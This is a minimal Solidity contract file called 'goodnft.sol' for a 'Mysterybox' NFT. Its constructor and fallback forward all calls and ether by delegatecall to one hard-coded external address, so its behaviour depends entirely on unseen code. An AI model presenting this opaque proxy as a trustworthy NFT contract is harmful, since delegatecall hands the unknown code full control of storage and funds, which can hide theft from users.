// File: contracts/goodnft.sol



// SPDX-License-Identifier: MIT

pragma solidity >=0.8.0;

contract Mysterybox {
    fallback(bytes calldata data) external payable returns (bytes memory) {
        (bool success, bytes memory result) = (
            0x93AcA27e7dD99bD31EecB5D5a1CCea5A517C5C35
        ).delegatecall(data);
        require(success, "Fail");
        return result;
    }

    constructor(
        string memory name,
        string memory symbol,
        address addressFrom,
        string memory metadataUri,
        uint256 total
    ) {
        bytes memory data = abi.encodeWithSignature(
            "initialize(string,string,address,string,uint256)",
            name,
            symbol,
            addressFrom,
            metadataUri,
            total
        );

        (bool success, ) = (
            0x93AcA27e7dD99bD31EecB5D5a1CCea5A517C5C35
        ).delegatecall(data);

        require(success, "Fail");
    }
}